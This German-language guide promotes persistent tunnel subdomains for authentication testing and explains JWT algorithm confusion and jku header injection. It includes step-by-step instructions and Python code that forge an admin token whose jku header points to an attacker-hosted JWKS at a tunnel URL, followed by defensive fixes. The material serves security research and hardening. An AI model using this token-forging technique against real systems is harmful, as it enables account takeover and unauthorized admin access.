Stabile Redirects für Authentifizierungstests: JWT-Schwachstellen mit persistenten Subdomains debuggen

Wenn Sie Ihre Tage damit verbringen, Identity and Access Management (IAM)-Systeme zu entwickeln oder nach Fehlern in Authentifizierungsprozessen zu suchen, kennen Sie wahrscheinlich das Problem des ephemeren Tunnels sehr gut.

Sie richten Ihre lokale Entwicklungsumgebung ein, starten einen Tunnel, um öffentlichen Traffic an Ihren localhost weiterzuleiten, und testen einen komplexen OAuth 2.0-Callback oder einen JSON Web Token (JWT)-Verifizierungsprozess. Dann geht Ihr Laptop in den Schlaf, Ihr WLAN fällt für drei Sekunden aus oder Sie drücken versehentlich Ctrl+C. Der Tunnel startet neu. Ihre generierte URL ändert sich von https://a1b2c3d4.random-tunnel.com zu https://e5f6g7h8.random-tunnel.com. Plötzlich sind Ihre sorgfältig konfigurierten Identity Provider (IdP)-Allowlists, CORS-Richtlinien und Redirect-URIs kaputt. Sie müssen sich erneut bei Auth0, Okta oder Keycloak anmelden, die Callback-URLs aktualisieren und Ihre Tests von vorne beginnen.

Bei Tests komplexer Sicherheitslücken — wie JWT-Algorithmus-Verwirrung oder bösartiger JWKS (jku) Header-Injection — ist dieses ständige Umkonfigurieren mehr als nur lästig. Es unterbricht Ihren Ablauf, verlangsamt Ihre Forschung und führt zu Konfigurationsfehlern.

In diesem Leitfaden zeigen wir, wie Sie eine stabile, vorhersehbare Authentifizierungstestumgebung lokal aufbauen, wie moderne JWT-Schwachstellen tatsächlich funktionieren und wie Sie sie mit einer persistenten Subdomain reproduzieren — wobei wir genau angeben, welche Tunneling-Tools diese Persistenz wirklich kostenlos bieten und welche nur so tun.

Das Leid der ephemeren URLs bei Authentifizierung

Moderne Authentifizierungsprotokolle sind stark auf strikte URI-Validierung angewiesen. Ob Sie OpenID Connect (OIDC), SAML SSO oder OAuth 2.0 implementieren, das Sicherheitsmodell schreibt vor, dass Tokens und Autorisierungscodes nur an explizit vorregistrierte, vertrauenswürdige Endpunkte geliefert werden dürfen.

Wenn Sie einen Tunneling-Dienst verwenden, der bei jedem Start eine zufällige, ephemere URL ausgibt, entsteht echtes Frustration im Sicherheitsforschung und Backend-Entwicklung:

• Strikte Redirect-URI-Validierung. OAuth-Anbieter erwarten in der Regel eine exakte Übereinstimmung bei registrierten Redirect-URIs. Eine geänderte Subdomain bedeutet, dass der IdP den Callback ablehnt, was den Ablauf vollständig blockiert.

• CORS- und Origin-Richtlinien. Cross-Origin Resource Sharing-Konfigurationen in modernen Webanwendungen beschränken API-Anfragen auf bekannte Ursprünge. Eine ephemere URL bedeutet, dass Sie ständig Umgebungsvariablen aktualisieren und Frontend-Server neu starten müssen, um Preflight-Fehler zu vermeiden.

• Webhook- und Event-Callbacks. Beim Testen asynchroner Authentifizierungsereignisse (z.B. Webhooks bei Nutzerregistrierung, Token-Widerrufssignale) benötigt der Drittanbieter einen stabilen URL, um die Payload zu liefern.

• Hosting bösartiger Payloads für Sicherheitstests. Wie wir bei JWT-Schwachstellen sehen werden, erfordert das Testen bestimmter Exploits das Hosting eines gefälschten Payloads (z.B. gefälschtes Public-Key-Set) an einer URL, die der Zielserver erreichen kann. Wenn sich diese URL ständig ändert, wird die Reproduktion des Exploits mühsam.

Historisch gesehen bedeutete eine persistente Subdomain, dafür zu bezahlen — und bei den meisten Tunneling-Diensten ist das auch heute noch so. Es ist wichtig, das klar zu sagen, weil viele “kostenlose Tier”-Angebote die Grenze verwischen.

Wo “kostenlos” tatsächlich eine stabile Subdomain bietet

Nicht jedes Tool, das eine kostenlose Stufe bewirbt, bietet eine persistenten, benutzerdefinierten Subdomain. Pinggy ist beispielsweise ein wirklich nützlicher SSH-basierter Tunnel ohne Installation, aber im kostenlosen Plan erhält man nur eine zufällige Subdomain und jede Session ist auf 60 Minuten begrenzt — ein neuer Tunnel bedeutet eine neue URL. Persistente, benutzerdefinierte Subdomains bei Pinggy sind eine kostenpflichtige Funktion. Wenn eine Anleitung etwas anderes behauptet, prüfen Sie die Preisseite des Anbieters, bevor Sie eine Arbeitsweise darauf aufbauen.

Zwei Ansätze, die wirklich funktionieren:

• InstaTunnel bietet im kostenlosen Tarif benutzerdefinierte Subdomains: 24-Stunden-Sessions, bis zu drei gleichzeitige Tunnel, und ein --subdomain-Flag, mit dem Sie bei jedem Start denselben Namen anfordern können (https://your-name.instatunnel.my). Das ist eine vernünftige Lösung, wenn Sie einen stabilen Namen ohne Kreditkarte wollen.

• Cloudflare Tunnel bietet einen wirklich permanenten, kostenlosen benannten Tunnel ohne Bandbreitenbegrenzung oder Ablauf — allerdings ist dafür ein Cloudflare-Konto und eine Domain bei Cloudflare DNS erforderlich, was initialen Setup-Aufwand bedeutet.

Für die folgende Anleitung verwenden wir InstaTunnel, da es nichts außer npm install braucht und in einem Befehl eine stabile Subdomain liefert — praktisch, wenn Sie einmal die Allowlist eines IdP konfigurieren und nicht mehr daran denken möchten.

Vertiefung: JWT-Algorithmus-Verwirrung

Um zu verstehen, warum ein stabiler Tunnel für Tests wichtig ist, hilft es zu wissen, wie diese Exploits funktionieren. Ein JWT besteht aus drei Teilen, durch Punkte getrennt: einem Header, einem Payload und einer Signatur. Der Header benennt den kryptografischen Algorithmus, der zum Sichern des Tokens verwendet wird — meist HS256 (symmetrischer HMAC) oder RS256 (asymmetrischer RSA).

Algorithmus-Verwirrung tritt auf, wenn ein Server einen mit einem asymmetrischen Algorithmus wie RS256 signierten Token erwartet, aber dazu verleitet wird, ein mit einem symmetrischen Algorithmus wie HS256 signiertes Token zu verifizieren — wobei der RSA Public Key als HMAC-Geheimnis benutzt wird. Da RSA Public Keys öffentlich sind, kann ein Angreifer, der den Server dazu bringt, diesen Key als HMAC-Geheimnis zu verwenden, ein gültig signiertes Token fälschen.

Dieses Problem ist seit 2015 dokumentiert und taucht noch immer in Produktionssystemen auf, obwohl die Ursachen sich im Lauf der Zeit verschoben haben:

• Historische Standardwerte bei Bibliotheken. Versionen von Node’s jsonwebtoken bis 8.5.1 fielen im Fall fehlender Algorithmus-Angabe, eines falschen Schlüssels oder eines Tokens ohne Signatur auf none zurück — CVE-2022-23540, behoben in Version 9.0.0. Ältere Deployments, die nicht aktualisiert wurden, sind weiterhin anfällig.

• Aktuelles Verhalten der Bibliothek. Moderne PyJWT (2.x) verlangt explizit eine algorithms-Liste in jwt.decode(). Es ist nicht mehr möglich, das zu übersehen. Wenn ein Entwickler algorithms=['RS256', 'HS256'] angibt, unterstützt die Bibliothek weiterhin HS256, auch wenn der Schlüssel eigentlich RSA ist — was die Gefahr birgt, ein gefälschtes Token zu akzeptieren.

• Dynamische Algorithmus-Auswahl. Das gefährlichste Muster ist, wenn der Code den Algorithmus aus dem Header des Tokens liest (vom Angreifer kontrolliert) und ihn in die Verifizierungsfunktion zurückführt, anstatt eine festgelegte Algorithmus-Whitelist zu verwenden.

Der Ablauf des Angriffs

Ein Forscher, der eine RS256-zu-HS256-Downgrade testen möchte, arbeitet typischerweise so:

1. Public Key beschaffen. Oft verfügbar bei /.well-known/jwks.json oder in der Dokumentation des IdP.

2. Token modifizieren. Ein legitimes JWT decodieren, alg im Header von RS256 auf HS256 ändern, Payload anpassen (z.B. "role": "user" → "role": "admin").

3. Mit dem Public Key als HMAC-Geheimnis signieren. Das modifizierte Token mit HMAC-SHA256 signieren, wobei der RSA Public Key-String als Geheimnis dient.

4. Absenden und beobachten. Wenn der Server HS256 im Header liest, eine HMAC-Prüfung durchführt und den RSA Public Key als Geheimnis benutzt, verifiziert die Signatur.

Testen von jku Header-Injection

Eine verwandte Schwachstelle betrifft den jku (JWK Set URL)-Header, der im JWT-Standard erlaubt ist, um anzugeben, wo der Server den Public Key zum Verifizieren des Tokens holen soll. Wenn der Server die URL im Header ohne Whitelist prüft, kann ein Angreifer eine eigene JSON Web Key Set hosten, jku darauf setzen und mit dem passenden privaten Schlüssel signieren.

Hier kommen ephemere Tunnel-URLs ins Spiel: Der Forscher muss eine bösartige jwks.json-Datei an einer stabilen öffentlichen URL hosten, denn bei jedem Neustart des Tunnels mit neuer Adresse müssen Exploit-Script und jku-Header aktualisiert werden.

Schritt-für-Schritt: Einrichtung einer persistenten Testumgebung

Schritt 1: Stabile Subdomain holen

InstaTunnel installieren und mit einer gewählten Subdomain starten:

npm install -g instatunnel



# Ersetzen Sie 'my-jwt-exploit-lab' durch Ihren gewünschten Subdomain-Namen

instatunnel 8080 --subdomain my-jwt-exploit-lab

Dies leitet https://my-jwt-exploit-lab.instatunnel.my an Ihren lokalen Port 8080 weiter. Im kostenlosen Tarif sind Sessions bis zu 24 Stunden möglich, und Sie können bei jedem Start denselben Namen anfordern, sodass IdP-Konfiguration und Exploit-Skripte zwischen den Sessions gleich bleiben.

Schritt 2: OAuth-Intercept konfigurieren

Wenn Sie gegen einen Drittanbieter-IdP testen, fügen Sie die stabile Redirect-URI in Ihren Auth0- oder Okta-Dashboard-Allowed Callback URLs hinzu:

https://my-jwt-exploit-lab.instatunnel.my/callback

Da die Subdomain Ihnen gehört, sollten Sie diese Konfiguration nicht mehr anpassen müssen.

Schritt 3: Bösartige JWKS-Payload hosten (für jku-Angriffe)

Ein Angreifer generiert ein RSA-Schlüsselpaar und formatiert den öffentlichen Schlüssel als JWK. Speichern Sie ihn als jwks.json:

{

  "keys": [

    {

      "kty": "RSA",

      "kid": "malicious-key-id-001",

      "use": "sig",

      "n": "DEIN_ATTACKER_PUBLIC_KEY_MODULUS...",

      "e": "AQAB"

    }

  ]

}

Auf einem einfachen lokalen HTTP-Server bereitstellen:

python3 -m http.server 8080

Dein bösartiges Key-Set ist jetzt zuverlässig unter https://my-jwt-exploit-lab.instatunnel.my/jwks.json erreichbar.

Schritt 4: Bösartiges Token erstellen

import jwt  # PyJWT

from cryptography.hazmat.primitives import serialization



with open("attacker_private_key.pem", "rb") as key_file:

    private_key = serialization.load_pem_private_key(key_file.read(), password=None)



payload = {

    "sub": "admin_user_id",

    "role": "admin",

}



headers = {

    "kid": "malicious-key-id-001",

    "jku": "https://my-jwt-exploit-lab.instatunnel.my/jwks.json",

}



encoded_jwt = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)

print(f"Gefälschtes Token: {encoded_jwt}")

Schritt 5: Ausführen und debuggen

Senden Sie das gefälschte Token an die Zielanwendung. Wenn diese jku-Header blind vertraut, löst sie Ihre stabile Tunnel-URL auf, lädt jwks.json herunter und — falls verwundbar — verifiziert das gefälschte Token erfolgreich.

Da die Tunnel-URL zwischen den Durchläufen gleich bleibt, können Sie Breakpoints in der Zielanwendung setzen, sie neu starten, Ihr Exploit-Skript anpassen und den Angriff wiederholen, ohne die Payload-URL jedes Mal neu konfigurieren zu müssen.

Anwendungen gegen diese Angriffe absichern

Sobald Sie die Schwachstelle in einer kontrollierten Umgebung reproduziert haben, sind die Fixes gut bekannt:

• Strikte, hartcodierte Algorithmus-Validierung. Lassen Sie die Verifizierungsfunktion niemals den Algorithmus im Token-Header vertrauen. Geben Sie genau an, was Sie erwarten:

  • Node.js (jsonwebtoken): jwt.verify(token, publicKey, { algorithms: ['RS256'] })

  • Python (PyJWT): jwt.decode(token, public_key, algorithms=['RS256'])

• Trennen Sie Schlüsseltypen. Symmetrische Geheimnisse (für HMAC) und asymmetrische Public Keys sollten niemals austauschbar sein. Speichern Sie sie nicht in einer einzigen Variablen wie JWT_KEY, die der Code erraten muss.

• Whitelist für jku- und x5u-Domains. Wenn Ihre Anwendung Schlüssel dynamisch aus einer URL im Token-Header lädt, validieren Sie diese URL gegen eine strenge Allowlist.

• Verwerfen Sie alg: none explizit. Aktuelle Versionen großer Bibliotheken akzeptieren keine unsigned Tokens mehr standardmäßig, aber eigene Implementierungen oder alte Systeme könnten noch dazu neigen. Überprüfen Sie, ob dies in Ihrer Umgebung wirklich ausgeschlossen ist.

• Halten Sie Abhängigkeiten aktuell. Der jsonwebtoken-Bug CVE-2022-23540 zeigt, dass Standardverhalten aus Sicherheitsgründen geändert werden. Eine veraltete Version kann eine bekannte Schwachstelle wieder einführen.

Fazit

Das Testen von Authentifizierungsfehlern erfordert Präzision und Beständigkeit — eine Umgebung, die Sie nicht im Stich lässt. Ephemere URLs verursachen Friktionen, die Konfigurationen stören und die Reproduzierbarkeit von Schwachstellen erschweren.

Ein wirklich persistenter Subdomain, sei es durch ein Tool wie InstaTunnel im kostenlosen Tarif oder durch einen selbst konfigurierten Cloudflare Named Tunnel, beseitigt diese Friktion. Seien Sie skeptisch gegenüber Tools, die “benutzerdefinierte Subdomains im kostenlosen Tarif” versprechen, ohne die aktuellen Preise zu prüfen — einige bekannte Tunnels, Pinggy eingeschlossen, bieten diese Funktion nur gegen Bezahlung.

Ob beim Debuggen von OAuth-Redirects, beim Testen von Webhook-Lieferungen oder beim Reproduzieren eines JWT-Algorithmus-Verwirrungsangriffs: Eine stabile URL ermöglicht es Ihnen, sich auf die Logik der Schwachstelle zu konzentrieren, statt auf die Netzwerk-Logistik.